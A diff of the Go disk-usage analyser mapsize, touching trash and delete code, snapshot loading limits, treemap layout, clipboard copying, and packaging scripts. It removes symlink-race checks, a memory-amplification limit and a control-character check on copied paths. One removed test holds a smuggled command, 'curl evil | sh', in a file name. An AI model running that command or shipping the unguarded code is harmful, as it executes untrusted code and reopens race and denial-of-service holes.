}
func want(t *testing.T, path string) Expect {
t.Helper()
m, err := Lstat(path)
if err != nil {
t.Fatal(err)
}
return Expect{UID: m.UID, Mode: m.Mode}
}
// A parent swapped for a symlink after the scan must not redirect the move
// to whatever the symlink points at.
func TestTrashRefusesSwappedItem(t *testing.T) {
data := t.TempDir()
t.Setenv("XDG_DATA_HOME", data)
dir := filepath.Join(data, "work")
os.Mkdir(dir, 0o755)
victim := filepath.Join(dir, "big.iso")
os.WriteFile(victim, []byte("x"), 0o644)
scanned := want(t, victim)
// Item replaced by a symlink to a file elsewhere: type differs.
other := filepath.Join(data, "precious")
os.WriteFile(other, []byte("keep"), 0o644)
os.Remove(victim)
os.Symlink(other, victim)
scannedDir := Expect{UID: scanned.UID, Mode: os.ModeDir}
if err := Trash(victim, scanned); err == nil {
t.Fatal("symlink accepted where a regular file was scanned")
}
if err := Trash(victim, scannedDir); err == nil {
t.Fatal("type mismatch accepted")
}
if _, err := os.Lstat(victim); err != nil {
t.Fatal("refused item was moved")
}
// Owner differs from the scan.
os.Remove(victim)
os.WriteFile(victim, []byte("x"), 0o644)
if err := Trash(victim, Expect{UID: scanned.UID + 1, Mode: scanned.Mode}); err == nil {
t.Fatal("owner mismatch accepted")
}
entries, _ := os.ReadDir(filepath.Join(data, "Trash", "info"))
if len(entries) != 0 {
t.Fatalf("refused trash left %d .trashinfo files", len(entries))
}
if err := Trash(victim, scanned); err != nil {
t.Fatal(err)
}
}
func TestDeletePermanently(t *testing.T) {
base := t.TempDir()
dir := filepath.Join(base, "S01")
os.MkdirAll(filepath.Join(dir, "extras"), 0o755)
os.WriteFile(filepath.Join(dir, "extras", "E01.mkv"), []byte("x"), 0o644)
// A symlink inside must be removed, not followed.
keep := filepath.Join(base, "keep")
os.WriteFile(keep, []byte("k"), 0o644)
os.Symlink(keep, filepath.Join(dir, "link"))
w := want(t, dir)
if err := Delete(dir, Expect{UID: w.UID, Mode: 0}); err == nil {
t.Fatal("type mismatch accepted")
}
if err := Delete(dir, w); err != nil {
t.Fatal(err)
}
if _, err := os.Lstat(dir); !os.IsNotExist(err) {
t.Fatal("directory still present")
}
if _, err := os.Lstat(keep); err != nil {
t.Fatal("symlink target was deleted")
}
if err := Delete("relative/path", Expect{}); err == nil {
t.Fatal("relative paths must be refused")
}
}
func TestHeadless(t *testing.T) {
t.Setenv("DISPLAY", "")
t.Setenv("WAYLAND_DISPLAY", "")
if !Headless() {
t.Fatal("no display should be headless")
}
t.Setenv("WAYLAND_DISPLAY", "wayland-0")
if Headless() {
t.Fatal("wayland session reported headless")
}
}
+2 -12
View File
@@ -2,10 +2,7 @@
package platform
import (
"errors"
"os"
)
import "errors"
// TrashName is the user-facing name of the trash.
const TrashName = "trash"
@@ -14,11 +11,4 @@ const TrashName = "trash"
func Reveal(string) error { return errors.New("not supported on this platform") }
// Trash is unsupported on this platform.
func Trash(string, Expect) error { return errors.New("trash not supported on this platform") }
// Headless reports whether there is no graphical session (no X or Wayland
// display), so there is no file manager to open and no desktop trash anyone
// will empty.
func Headless() bool {
return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == ""
}
func Trash(string) error { return errors.New("trash not supported on this platform") }
+2 -9
View File
@@ -45,9 +45,8 @@ const (
)
// Trash moves path to the Recycle Bin via SHFileOperationW with
// FOF_ALLOWUNDO. It never deletes permanently. want is not checked here:
// Windows exposes no owner or inode identity through the scan.
func Trash(path string, _ Expect) error {
// FOF_ALLOWUNDO. It never deletes permanently.
func Trash(path string) error {
if err := checkAbs(path); err != nil {
return err
}
@@ -70,9 +69,3 @@ func Trash(path string, _ Expect) error {
}
return nil
}
// Headless is always false: Windows always has Explorer and the Recycle Bin.
func Headless() bool { return false }
// Delete is not offered on Windows; items go to the Recycle Bin.
func Delete(string, Expect) error { return errors.New("permanent delete not supported on Windows") }
-59
View File
@@ -1,59 +0,0 @@
//go:build linux || darwin
package platform
import (
"errors"
"io/fs"
"os"
"path/filepath"
"syscall"
"golang.org/x/sys/unix"
)
// renameChecked moves path to dst if it still matches want. The parent
// directory is opened once and both the check and the rename are relative to
// that descriptor, so a parent swapped for a symlink since the scan (or
// between check and rename) cannot redirect the move to another user's file.
func renameChecked(path, dst string, want Expect) error {
dir, base := filepath.Dir(path), filepath.Base(path)
dfd, err := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
if err != nil {
return &os.PathError{Op: "open", Path: dir, Err: err}
}
defer unix.Close(dfd)
var st unix.Stat_t
if err := unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW); err != nil {
return &os.PathError{Op: "stat", Path: path, Err: err}
}
if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType {
return errors.New("item changed since the scan (owner or type differs); rescan first")
}
return unix.Renameat(dfd, base, unix.AT_FDCWD, dst)
}
// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must
// be a real directory (not a symlink) owned by us. With strict (trash on a
// shared filesystem) it must also be inaccessible to others, as the
// freedesktop.org spec requires; home trash directories made by desktop
// environments are sometimes 0755, which is harmless there.
func ensurePrivateDir(dir string, strict bool) error {
if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) {
return err
}
fi, err := os.Lstat(dir)
if err != nil {
return err
}
st := fi.Sys().(*syscall.Stat_t)
switch {
case !fi.IsDir():
return errors.New("not a directory (symlink?)")
case int(st.Uid) != os.Getuid():
return errors.New("owned by another user")
case strict && fi.Mode().Perm()&0o077 != 0:
return errors.New("accessible to other users")
}
return nil
}
-29
View File
@@ -6,8 +6,6 @@ import (
"crypto/sha256"
"encoding/binary"
"io"
"os"
"path/filepath"
"strings"
"testing"
@@ -131,30 +129,3 @@ func TestHostileMetadataSanitisedInSummary(t *testing.T) {
t.Fatalf("raw control characters in summary: %q", b.String())
}
}
// Blocks of one directory plus K-1 files repeat byte for byte, so a small
// file describes millions of nodes; LoadFile must refuse before allocating.
func TestNodeAmplificationLimited(t *testing.T) {
const k, n = 1000, 1_200_001
data := craft(n, `{"root":"/r"}`, func(i int, w *writer) {
switch {
case i == 0:
node(w, 0, inventory.KindDir, "", 0)
case i == 1:
node(w, 1, inventory.KindDir, "d", 0)
case (i-1)%k == 0:
node(w, k, inventory.KindDir, "d", 0)
default:
node(w, uint64((i-1)%k), inventory.KindFile, "f", 0)
}
})
if _, err := Load(bytes.NewReader(data)); err != nil {
t.Fatalf("crafted tree is otherwise valid: %v", err)
}
p := filepath.Join(t.TempDir(), "amp.msz")
os.WriteFile(p, data, 0o644)
_, err := LoadFile(p)
if err == nil || !strings.Contains(err.Error(), "node count") {
t.Fatalf("%d nodes from a %d-byte file accepted: %v", n, len(data), err)
}
}
+4 -17
View File
@@ -333,22 +333,12 @@ func (l *limitedReader) Read(p []byte) (int, error) {
// (real snapshots compress ~6×), with a 64 MiB floor for tiny files.
func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) }
// nodeLimit caps the node count for a file of fileSize bytes. Real
// snapshots spend ~15 compressed bytes per node; a crafted one describes a
// node in a fraction of a byte, so without this a 1 MB file can demand
// gigabytes of memory while staying within bodyLimit.
func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) }
// Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes
// of decompressed data.
func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) }
// LoadLimit is Load with an explicit decompressed-size limit.
func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) {
return load(in, maxBody, MaxNodes)
}
func load(in io.Reader, maxBody int64, maxNodes uint64) (*inventory.Tree, error) {
br := bufio.NewReaderSize(in, 1<<20)
hdr := make([]byte, len(brand.SnapshotMagic)+4)
if _, err := io.ReadFull(br, hdr); err != nil {
@@ -399,11 +389,8 @@ func load(in io.Reader, maxBody int64, maxNodes uint64) (*inventory.Tree, error)
return nil, r.err
}
extIndex := t.ExtIndexer()
nNodes := r.uvarint(maxNodes, "node count")
nNodes := r.uvarint(MaxNodes, "node count")
depth := []uint16{0} // per node, for the depth limit; parents precede children
if r.err != nil {
return nil, r.err
}
if nNodes == 0 {
return nil, errors.New("snapshot: no root node")
}
@@ -520,9 +507,9 @@ func LoadFile(path string) (*inventory.Tree, error) {
return nil, err
}
defer f.Close()
limit, nodes := int64(DefaultMaxBody), uint64(MaxNodes)
limit := int64(DefaultMaxBody)
if fi, err := f.Stat(); err == nil {
limit, nodes = bodyLimit(fi.Size()), nodeLimit(fi.Size())
limit = bodyLimit(fi.Size())
}
return load(f, limit, nodes)
return LoadLimit(f, limit)
}
+9 -28
View File
@@ -3,7 +3,6 @@ package tui
import (
"context"
"fmt"
"io/fs"
"time"
tea "charm.land/bubbletea/v2"
@@ -21,13 +20,10 @@ type trashDoneMsg struct {
tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped
id inventory.NodeID
err error
done string // "Moved to trash" or "Deleted"
}
// requestTrash asks for confirmation before moving the selection to the
// trash. On a headless system (no desktop, so nobody empties the trash and
// the space is never freed) it deletes permanently instead, after a
// confirmation that says so.
// trash. Permanent deletion is deliberately not offered.
func (m *Model) requestTrash() tea.Cmd {
switch {
case m.opts.ReadOnly:
@@ -35,7 +31,7 @@ func (m *Model) requestTrash() tea.Cmd {
case m.snapshot:
return m.warn("Snapshot view: nothing to delete on the live filesystem")
case m.scanning:
return m.warn("Wait for the scan to finish before deleting items")
return m.warn("Wait for the scan to finish before trashing items")
}
id := m.selectedNode()
if id == inventory.NoNode || id == m.tree.Root() {
@@ -43,34 +39,19 @@ func (m *Model) requestTrash() tea.Cmd {
}
n := m.tree.Node(id)
path := m.tree.Path(id)
want := platform.Expect{UID: n.UID, Mode: fs.FileMode(n.Mode)}
what := "file"
if n.IsDir() {
what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files)))
}
body := []string{textutil.Sanitize(path), "", fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))), ""}
if platform.Headless() {
m.openModal(&confirmModal{
ttl: "Delete permanently? Are you sure?",
body: append(body, "This is a headless system (no X or Wayland display), so there is no trash:",
"it will be permanently deleted and cannot be recovered."),
yes: "delete permanently",
onYes: func(m *Model) tea.Cmd {
t := m.tree
return func() tea.Msg { return trashDoneMsg{t, id, platform.Delete(path, want), "Deleted"} }
},
})
return nil
}
m.openModal(&confirmModal{
ttl: "Move to trash?",
body: append(body, "It will be moved to the "+platform.TrashName+", not permanently deleted."),
body: []string{textutil.Sanitize(path), "",
fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))),
"", "It will be moved to the " + platform.TrashName + ", not permanently deleted."},
yes: "move to " + platform.TrashName,
onYes: func(m *Model) tea.Cmd {
t := m.tree
return func() tea.Msg {
return trashDoneMsg{t, id, platform.Trash(path, want), "Moved to " + platform.TrashName}
}
return func() tea.Msg { return trashDoneMsg{t, id, platform.Trash(path)} }
},
})
return nil
@@ -78,11 +59,11 @@ func (m *Model) requestTrash() tea.Cmd {
func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
if msg.err != nil {
return m.warn("Delete failed: " + textutil.Sanitize(msg.err.Error()))
return m.warn("Trash failed: " + textutil.Sanitize(msg.err.Error()))
}
if msg.tree != m.tree || m.scanning {
// A rescan replaced the inventory; the new scan reflects the change.
return m.info(msg.done)
return m.info("Moved to " + platform.TrashName)
}
// The scan has finished, so the UI goroutine is the tree's only writer.
t := m.tree
@@ -104,7 +85,7 @@ func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
name := n.Name
t.Unlock()
m.invalidate()
return m.info(msg.done + ": " + textutil.Sanitize(name))
return m.info("Moved to " + platform.TrashName + ": " + textutil.Sanitize(name))
}
// ---- Duplicates ----------------------------------------------------------
+1 -1
View File
@@ -110,7 +110,7 @@ func (v *infoView) paint(m *Model, cv *Canvas, r treemap.Rect) {
}
line("Exclusions", excl, value)
line("One filesystem", fmt.Sprint(st.OneFileSystem), value)
line("Follow symlinks", textutil.Sanitize(st.Follow), value)
line("Follow symlinks", st.Follow, value)
line("Size mode", m.sizeMode.String(), value)
units := "IEC (1024)"
if textutil.SI {
+2 -23
View File
@@ -109,7 +109,7 @@ func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd {
case "D":
return m.startDuplicates()
case "c":
return m.copySelected()
return m.copyPath()
case "o":
return m.reveal()
case "d", "delete":
@@ -200,21 +200,11 @@ func (m *Model) selectedPath() (string, bool) {
return m.tree.Path(id), true
}
func (m *Model) copySelected() tea.Cmd {
func (m *Model) copyPath() tea.Cmd {
p, ok := m.selectedPath()
if !ok {
return nil
}
return m.copyPath(p)
}
// copyPath puts p on the clipboard (OSC 52). Paths that would not survive
// display unchanged are refused: a newline in a hostile filename runs
// commands when pasted into a shell, and bidi controls disguise them.
func (m *Model) copyPath(p string) tea.Cmd {
if textutil.Sanitize(p) != p {
return m.warn("Not copied: path contains control or bidi characters")
}
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
}
@@ -226,17 +216,6 @@ func (m *Model) reveal() tea.Cmd {
if !ok {
return nil
}
if platform.Headless() {
// No file manager: show the folder in the map instead.
id := m.selectedNode()
if m.tree.Node(id).IsDir() && len(m.kidsOf(id).ids) > 0 {
m.zoomTo(id)
m.setViewByName("Map")
} else {
m.jumpTo(id)
}
return m.info("Showing " + textutil.Sanitize(m.tree.Path(m.zoom)))
}
if err := platform.Reveal(p); err != nil {
return m.warn("Open failed: " + textutil.Sanitize(err.Error()))
}
+8 -45
View File
@@ -43,7 +43,7 @@ const (
topMaxItems = 400
nestMinArea = 3
nestMaxItems = 120
maxNestDepth = 8 // block-size thresholds stop recursion long before this
maxNestDepth = 3
nestMinW = 4
nestMinH = 2
nestRecurseW = 14
@@ -65,7 +65,7 @@ func (m *Model) layoutTreemap(r treemap.Rect) *tmLayout {
in := b.Inset(1)
if in.W >= nestMinW && in.H >= nestMinH {
before := len(l.nested)
m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), in, 2)
m.layoutNested(l, inventory.NodeID(b.ID), in, 2)
l.inner[b.ID] = len(l.nested) > before
}
}
@@ -104,7 +104,7 @@ func (m *Model) layoutLevel(l *tmLayout, parent inventory.NodeID, r treemap.Rect
func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) {
// Deeper levels need bigger blocks to stay legible rather than noisy.
blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1), nestMaxItems)
blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1)*(depth-1), nestMaxItems)
for i, b := range blocks {
nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1}
idx := len(l.nested)
@@ -112,24 +112,11 @@ func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rec
if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH &&
m.tree.Node(inventory.NodeID(b.ID)).IsDir() {
l.nested[idx].inner = true
m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1)
m.layoutNested(l, inventory.NodeID(b.ID), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1)
}
}
}
// chainEnd follows directories whose only non-empty child is a directory
// (mnt → raid → media), so nesting spends its space on the level that
// actually branches instead of on full-size wrappers.
func (m *Model) chainEnd(id inventory.NodeID) inventory.NodeID {
for {
k := m.kidsOf(id)
if len(k.ids) != 1 || !m.tree.Node(k.ids[0]).IsDir() {
return id
}
id = k.ids[0]
}
}
// groupInfo returns the LOD group for a group ID in the current layout.
func (m *Model) groupInfo(id int64) (*group, bool) {
if m.tm == nil {
@@ -181,15 +168,10 @@ func (m *Model) blockName(id int64) string {
}
return "smaller items"
}
nid := inventory.NodeID(id)
n := m.tree.Node(nid)
n := m.tree.Node(inventory.NodeID(id))
name := textutil.Sanitize(n.Name)
if n.IsDir() && nid != m.tree.Root() {
if n.IsDir() && inventory.NodeID(id) != m.tree.Root() {
name += "/"
for end := m.chainEnd(nid); nid != end; {
nid = m.kidsOf(nid).ids[0]
name += textutil.Sanitize(m.tree.Node(nid).Name) + "/"
}
}
return name
}
@@ -204,20 +186,6 @@ func (m *Model) blockSize(id int64) int64 {
return m.sizeOf(inventory.NodeID(id))
}
// parentSize is the size of the folder a block sits in.
func (m *Model) parentSize(id int64) int64 {
if isGroup(id) {
if g, ok := m.groupInfo(id); ok {
return m.sizeOf(g.parent)
}
return 0
}
if p := m.tree.Node(inventory.NodeID(id)).Parent; p != inventory.NoNode {
return m.sizeOf(p)
}
return 0
}
func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) {
t := m.theme
base := m.colorOf(b.ID)
@@ -308,7 +276,7 @@ func (m *Model) hasNested(id int64) bool { return m.tm != nil && m.tm.inner[id]
func (m *Model) paintNested(cv *Canvas, nb nested) {
t := m.theme
base := m.colorOf(nb.id)
f := max(0.38-0.1*float64(nb.depth-2), 0.1)
f := 0.38 - 0.1*float64(nb.depth-2)
if nb.alt {
f += 0.07
}
@@ -359,12 +327,7 @@ func (m *Model) paintNested(cv *Canvas, nb nested) {
}
cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold})
if !nb.inner && r.H >= 3 && lw >= 5 {
size := m.blockSize(nb.id)
label := textutil.SizeCompact(size)
if pct := textutil.Percent(size, m.parentSize(nb.id)); textutil.Width(label)+textutil.Width(pct)+3 <= lw {
label += " · " + pct
}
cv.Text(lx, ly+1, textutil.Truncate(label, lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg})
cv.Text(lx, ly+1, textutil.Truncate(textutil.SizeCompact(m.blockSize(nb.id)), lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg})
}
}
+7 -23
View File
@@ -39,9 +39,9 @@ func (*infoModal) width() int { return 72 }
func (md *infoModal) title() string { return "Item information" }
func (md *infoModal) footer(m *Model) string {
s := "Esc close · c copy path · o " + revealVerb() + " · Space go to"
s := "Esc close · c copy path · o reveal · Space go to"
if !m.opts.ReadOnly && !m.snapshot {
s += " · d " + deleteVerb()
s += " · d trash"
}
return s
}
@@ -165,11 +165,11 @@ func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
switch k {
case "c":
return false, m.copyPath(m.tree.Path(md.id))
p := m.tree.Path(md.id)
return false, tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard"))
case "o":
m.sel = int64(md.id)
// Headless, o navigates the map, which the modal would cover.
return platform.Headless(), m.reveal()
return false, m.reveal()
case "enter":
return true, nil
case "g", "right":
@@ -274,9 +274,9 @@ func (helpModal) content(m *Model, _ int) []line {
sec("APPLICATION")
row("a", "toggle allocated / logical (apparent) size")
row("c", "copy path to clipboard")
row("o", revealVerb())
row("o", "reveal in file manager")
if !m.opts.ReadOnly {
row("d", deleteVerb()+" (asks first)")
row("d", "move to trash (asks first)")
}
row("s", "save snapshot")
row("r", "rescan")
@@ -373,19 +373,3 @@ func (md *saveModal) key(m *Model, k string) (bool, tea.Cmd) {
}
return false, nil
}
// revealVerb and deleteVerb describe o and d, which change meaning on a
// headless system.
func revealVerb() string {
if platform.Headless() {
return "show folder in map"
}
return "reveal in file manager"
}
func deleteVerb() string {
if platform.Headless() {
return "delete permanently"
}
return "move to " + platform.TrashName
}
-89
View File
@@ -1,89 +0,0 @@
package tui
import (
"context"
"fmt"
"strings"
"testing"
"github.com/charmbracelet/colorprofile"
"github.com/charmbracelet/x/ansi"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
)
func rootTree() *inventory.Tree {
t := inventory.New("/", inventory.KindDir)
add := func(p inventory.NodeID, name string, size int64) {
id := t.Add(p, name, inventory.KindFile)
n := t.Node(id)
n.Size, n.Alloc = size, size
n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false)
}
dir := func(p inventory.NodeID, name string) inventory.NodeID {
id := t.Add(p, name, inventory.KindDir)
t.Node(id).Flags |= inventory.FlagScanned
return id
}
mnt := dir(0, "mnt")
raid := dir(mnt, "raid")
media := dir(raid, "media")
for _, show := range []string{"X-Files", "Simpsons", "Frasier"} {
s := dir(media, show)
for i := 1; i <= 5; i++ {
se := dir(s, fmt.Sprintf("S%02d", i))
for e := 1; e <= 20; e++ {
add(se, fmt.Sprintf("E%02d.mkv", e), int64(e)<<28)
}
}
}
usr := dir(0, "usr")
lib := dir(usr, "lib")
for i := range 50 {
add(lib, fmt.Sprintf("lib%d.so", i), int64(i+1)<<22)
}
v := dir(0, "var")
add(dir(v, "log"), "syslog", 2<<30)
t.Recompute()
t.Stats.Complete = true
return t
}
// A single-child chain (mnt → raid → media) must not use up the nesting
// budget: the map at / should reach the seasons and their episodes.
func TestNestingReachesDeepMedia(t *testing.T) {
tr := rootTree()
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {})
m.profile = colorprofile.TrueColor
send(m, size(160, 45))
if out := ansi.Strip(m.View().Content); !strings.Contains(out, "mnt/raid/media/") || !strings.Contains(out, "S01/") {
t.Fatalf("chain or seasons missing:\n%s", out)
}
files := 0
for _, nb := range m.tm.nested {
if nb.id >= 0 && !tr.Node(inventory.NodeID(nb.id)).IsDir() {
files++
}
}
if files < 50 {
t.Fatalf("only %d episode blocks drawn", files)
}
}
// Headless, o shows the selected folder in the map instead of launching a
// file manager.
func TestRevealHeadlessZoomsMap(t *testing.T) {
t.Setenv("DISPLAY", "")
t.Setenv("WAYLAND_DISPLAY", "")
tr := rootTree()
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {})
send(m, size(160, 45))
mnt := m.kidsOf(m.zoom).ids[0]
m.snapshot = false // reveal is refused for snapshots
m.sel, m.userSel = int64(mnt), true
send(m, key("o"))
if m.zoom != mnt {
t.Fatalf("zoom = %q, want mnt", tr.Path(m.zoom))
}
}
-17
View File
@@ -480,20 +480,3 @@ func TestColourDepthsRenderSameGeometry(t *testing.T) {
checkFrame(t, m, 100, 30)
}
}
// A filename with a newline would run commands when pasted into a shell.
func TestCopyRefusesControlCharacters(t *testing.T) {
m := newTestModel(t)
m.copyPath("/srv/x\ncurl evil | sh\n")
if !strings.HasPrefix(m.toast, "Not copied") {
t.Fatalf("hostile path copied: %q", m.toast)
}
m.copyPath("/srv/media/" + hostile)
if !strings.HasPrefix(m.toast, "Not copied") {
t.Fatalf("escape sequence copied: %q", m.toast)
}
m.copyPath("/srv/photos 日本語/img001.jpg")
if !strings.HasPrefix(m.toast, "Copied") {
t.Fatalf("plain path refused: %q", m.toast)
}
}
+3 -3
View File
@@ -4,16 +4,16 @@
# (github.com/andydixon/homebrew-tap, Formula/mapsize.rb).
class Mapsize < Formula
desc "Interactive terminal disk usage analyser with a navigable treemap"
homepage "https://github.com/andydixon/mapsize"
homepage "https://dixon.cx"
license "GPL-3.0-or-later"
url "https://github.com/andydixon/mapsize/archive/refs/tags/v@VERSION@.tar.gz"
sha256 "@SHA256@"
license "GPL-3.0-or-later"
head "https://github.com/andydixon/mapsize.git", branch: "master"
depends_on "go" => :build
def install
ldflags = "-X github.com/andydixon/mapsize/internal/brand.Version=#{version}"
ldflags = "-s -w -X github.com/andydixon/mapsize/internal/brand.Version=#{version}"
system "go", "build", *std_go_args(ldflags:), "./cmd/mapsize"
man1.install "docs/mapsize.1"
end
-196
View File
@@ -1,196 +0,0 @@
#!/usr/bin/env bash
# Build Linux packages (.deb, .rpm, Arch .pkg.tar.zst) for a release tag and
# publish them to the signed apt, dnf and pacman repositories served at
# https://repo.dixon.cx.
#
# packaging/repo.sh # the newest tag
# packaging/repo.sh v1.0.0 # a given tag
#
# Builds from a clean export of the tag, so the working tree doesn't matter.
# Every index is rebuilt over all the packages in the repository, so other
# projects publishing there with their copy of this script are kept.
#
# Needs: go, docker, gpg, apt-ftparchive (apt-utils), flock.
# REPO_DIR where the repository lives (default below)
# REPO_GNUPGHOME GnuPG home holding the signing key (default below)
# ARCHS Go architectures to package (default below)
#
# The same script, with its own project block, is in ../vault/packaging.
set -euo pipefail
# ---- project ---------------------------------------------------------------
NAME=mapsize # the command
PACKAGE=mapsize
CONFLICTS=
SUMMARY="Interactive full-terminal disk usage analyser with a live treemap"
HOMEPAGE=https://github.com/andydixon/mapsize
LICENSE=GPL-3.0-or-later
MANPAGES=docs/*.1
DOCS="README.md CHANGELOG.md LICENSE"
# build OUT: build the binary to OUT, in the source tree, with GOOS, GOARCH
# and GOARM set and VERSION the release.
build() {
CGO_ENABLED=0 go build -trimpath \
-ldflags "-s -w -X github.com/andydixon/mapsize/internal/brand.Version=$VERSION" \
-o "$1" ./cmd/mapsize
}
# ----------------------------------------------------------------------------
REPO_DIR=${REPO_DIR:-/home/andy/domains/repo.dixon.cx/public_html}
REPO_GNUPGHOME=${REPO_GNUPGHOME:-$HOME/.config/repo.dixon.cx/gnupg}
ARCHS=${ARCHS:-"amd64 arm64 arm 386 riscv64"}
NFPM="go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1"
SUITE=stable
COMPONENT=main
ARCH_REPO=dixon # the pacman repository name: [dixon]
say() { echo "repo: $*" >&2; }
die() { say "$*"; exit 1; }
for tool in go docker gpg apt-ftparchive flock; do
command -v $tool >/dev/null || die "needs $tool"
done
[[ -d $REPO_DIR ]] || die "$REPO_DIR does not exist"
export GNUPGHOME=$REPO_GNUPGHOME
KEY=$(gpg --list-secret-keys --with-colons 2>/dev/null | awk -F: '/^fpr/{print $10; exit}')
[[ -n $KEY ]] || die "no signing key in $GNUPGHOME"
cd "$(git rev-parse --show-toplevel)"
TAG=${1:-$(git describe --tags --abbrev=0)}
git rev-parse -q --verify "refs/tags/$TAG" >/dev/null || die "no tag $TAG"
VERSION=${TAG#v}
export VERSION
WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT
git archive "$TAG" | tar -x -C "$WORK" --one-top-level=src
gpg --batch --armor --export-secret-keys "$KEY" >"$WORK/signing.asc"
# ---- build -----------------------------------------------------------------
say "building $PACKAGE $VERSION for $ARCHS"
mkdir -p "$WORK/out"
for arch in $ARCHS; do
goarm= nfarch=$arch
[[ $arch == arm ]] && goarm=7 nfarch=arm7
(cd "$WORK/src" && GOOS=linux GOARCH=$arch GOARM=$goarm build "$WORK/bin-$arch/$NAME")
{
cat <<-EOF
name: $PACKAGE
arch: $nfarch
platform: linux
version: $VERSION
release: 1
maintainer: Andy Dixon <andy@dixon.cx>
description: $SUMMARY
homepage: $HOMEPAGE
license: $LICENSE
conflicts: [${CONFLICTS:-}]
contents:
- src: $WORK/bin-$arch/$NAME
dst: /usr/bin/$NAME
file_info: {mode: 0755}
EOF
for m in $(cd "$WORK/src" && ls $MANPAGES); do
printf ' - src: %s\n dst: /usr/share/man/man1/%s\n file_info: {mode: 0644}\n' \
"$WORK/src/$m" "$(basename "$m")"
done
for d in $DOCS; do
printf ' - src: %s\n dst: /usr/share/doc/%s/%s\n file_info: {mode: 0644}\n' \
"$WORK/src/$d" "$PACKAGE" "$d"
done
printf 'rpm:\n signature:\n key_file: %s\n' "$WORK/signing.asc"
} >"$WORK/nfpm-$arch.yaml"
for fmt in deb rpm archlinux; do
$NFPM pkg -f "$WORK/nfpm-$arch.yaml" -p $fmt -t "$WORK/out/" >/dev/null
done
done
# ---- publish ---------------------------------------------------------------
# One publisher at a time: the indexes cover every project's packages.
exec 9>"$REPO_DIR/../.publish.lock"
flock 9
say "publishing to $REPO_DIR"
gpg --batch --armor --export "$KEY" >"$REPO_DIR/dixon.asc"
gpg --batch --export "$KEY" >"$REPO_DIR/dixon.gpg"
sign() { gpg --batch --yes --local-user "$KEY" "$@"; }
# apt: pool/main/<letter>/<name>/, indexed by apt-ftparchive.
pool=$REPO_DIR/apt/pool/$COMPONENT/${PACKAGE:0:1}/$PACKAGE
mkdir -p "$pool"
cp "$WORK"/out/*.deb "$pool/"
(
cd "$REPO_DIR/apt"
# Built beside the live suite and swapped in, so clients never see half.
dists=dists/.$SUITE.new
rm -rf "$dists"
debarchs=$(find pool -name '*.deb' | sed -E 's/.*_([^_]+)\.deb$/\1/' | sort -u | tr '\n' ' ')
for a in $debarchs; do
d=$dists/$COMPONENT/binary-$a
mkdir -p "$d"
apt-ftparchive --arch "$a" packages pool >"$d/Packages"
gzip -9kn "$d/Packages"
done
apt-ftparchive \
-o APT::FTPArchive::Release::Origin=repo.dixon.cx \
-o APT::FTPArchive::Release::Label=repo.dixon.cx \
-o APT::FTPArchive::Release::Suite=$SUITE \
-o APT::FTPArchive::Release::Codename=$SUITE \
-o APT::FTPArchive::Release::Components=$COMPONENT \
-o "APT::FTPArchive::Release::Architectures=${debarchs% }" \
release "$dists" >"$WORK/Release"
mv "$WORK/Release" "$dists/Release"
sign --clearsign -o "$dists/InRelease" "$dists/Release"
sign --armor --detach-sign -o "$dists/Release.gpg" "$dists/Release"
rm -rf "dists/.$SUITE.old"
[[ -d dists/$SUITE ]] && mv "dists/$SUITE" "dists/.$SUITE.old"
mv "$dists" "dists/$SUITE"
rm -rf "dists/.$SUITE.old"
)
# dnf: every architecture in one directory; dnf picks its own.
mkdir -p "$REPO_DIR/rpm"
cp "$WORK"/out/*.rpm "$REPO_DIR/rpm/"
docker image inspect repo-tools:fedora >/dev/null 2>&1 ||
docker build -q -t repo-tools:fedora - >/dev/null <<-'EOF'
